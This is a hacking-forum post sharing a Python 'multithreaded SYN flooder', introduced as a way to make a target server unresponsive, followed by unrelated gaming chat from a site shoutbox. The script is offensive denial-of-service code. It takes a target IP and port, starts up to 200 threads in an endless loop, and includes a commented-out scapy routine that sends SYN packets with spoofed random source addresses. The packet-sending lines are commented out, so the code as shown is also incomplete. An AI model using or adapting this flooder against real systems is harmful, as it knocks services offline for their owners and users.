SynFlood Dos [Python]

  • Hello Guest! Welcome to ConsoleCrunch, to help support our site check out the premium upgrades HERE! to get exclusive access to our hidden content.
  • Unable to load portions of the website...
    If you use an ad blocker addon, you should disable it because it interferes with several elements of the site and blocks more than just adverts.
  • Read Rules Before Posting Post Virus Scans with every program.

ZionHD

Leader
Retired Staff
Nov 8, 2014
184
215
53
This script uses multiple threads to flood your target using the Syn/ACK 3 way handshake attack. This drops connections once it finishes the second step, I believe correct me if I'm wrong. This will make the target wait for a packet that will never come and cause it to be unresponsive. The reason it crashes or becomes unresponsive is because the server is consuming a lot of resources by waiting for a packet that will never come plus your flooding it repeatedly causing multiple connections to be opened. This is what I believe. This script is coded in python so it should end with .py if you save it on your pc or server.

Wiki's Definition of SynFlood:
A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic.

Code:
#!/usr/bin/env python
#########################################
# 
# SYNflood.py - A multithreaded SYN Flooder
# By Brandon Smith
# brandon.smith@studiobebop.net
#
# This script is a demonstration of a SYN/ACK 3 Way Handshake Attack 
# as discussed by Halla of Information Leak
#
#########################################
import socket
import random
import sys
import threading
#import scapy # Uncomment this if you're planning to use Scapy

###
# Global Config
###

interface    = None
target       = None
port         = None
thread_limit = 200
total        = 0

#!# End Global Config #!#

class sendSYN(threading.Thread):
    global target, port
    def __init__(self):
        threading.Thread.__init__(self)

    def run(self):
        # There are two different ways you can go about pulling this off.
        # You can either:
        #   - 1. Just open a socket to your target on any old port
        #   - 2. Or you can be a cool kid and use scapy to make it look cool, and overcomplicated!
        #
        # (Uncomment whichever method you'd like to use)

        # Method 1 -
#        s = socket.socket()
#        s.connect((target,port))

        # Methods 2 -
#        i = scapy.IP()
#        i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
#        i.dst = target

#        t = scapy.TCP()
#        t.sport = random.randint(1,65535)
#        t.dport = port
#        t.flags = 'S'

#        scapy.send(i/t, verbose=0)

if __name__ == "__main__":
    # Make sure we have all the arguments we need
    if len(sys.argv) != 4:
        print "Usage: %s <Interface> <Target IP> <Port>" % sys.argv[0]
        exit()

    # Prepare our variables
    interface        = sys.argv[1]
    target           = sys.argv[2]
    port             = int(sys.argv[3])
#    scapy.conf.iface = interface # Uncomment this if you're going to use Scapy

    # Hop to it!
    print "Flooding %s:%i with SYN packets." % (target, port)
    while True:
        if threading.activeCount() < thread_limit: 
            sendSYN().start()
            total += 1
            sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total)
 
  • Like
Reactions: Saad Asad
General chit-chat
Help Users
  • @ ANGUS0023233:
    Been awhile
  • @ QM|T_JinX:
    sup bro
  • @ ANGUS0023233:
    Do you got BF6 jinx?
  • @ QM|T_JinX:
    no i dont
  • @ QM|T_JinX:
    kept Diein to that f%cking game haha
  • @ QM|T_JinX:
    not sure if i type that correct haha i died alot on that game in beta
  • @ ANGUS0023233:
    Ah you tried playing the Battlefield 6 alpha labs beta. I only played the Alpha Beta then Open beta then the game itself since i enjoyed it all lot
  • @ QM|T_JinX:
    it a good lookin game for sure but im not as good anymore in that game haha
    so it seems hahah
  • @ lurch6661:
    high
  • @ QM|T_JinX:
    high
  • @ QM|T_JinX:
    bro im not on messager ok if im online on there ppl start to message me dont feel like going on and on on text
  • @ lurch6661:
    ok bro
  • @ QM|T_JinX:
    nothing agains you you know that right just dont feel like answer all those text the hole time
  • @ lurch6661:
    i understand trust m e lol
  • @ QM|T_JinX:
    by the way i unlocked the gold camo on bo7 looks pretty cool hahah
  • @ lurch6661:
    lol
  • @ ANGUS0023233:
    Jinx do you got PSN ?
  • @ QM|T_JinX:
    yea i do
  • @ QM|T_JinX:
    my gf is coming over i check you guys later on tc guys
  • @ lurch6661:
    ok bro tc
  • @ ANGUS0023233:
    Wow bunch of my links and such are gone i’ll have to look into it and try to fix it or update it anyways take care lurch and jinx
  • @ QM|T_JinX:
    t bro good to see you back on here catch you guys later
  • Chat Bot:
    QM|T_JinX has joined the room.
  • Chat Bot:
    Christo has joined the room.
      Chat Bot: Christo has joined the room.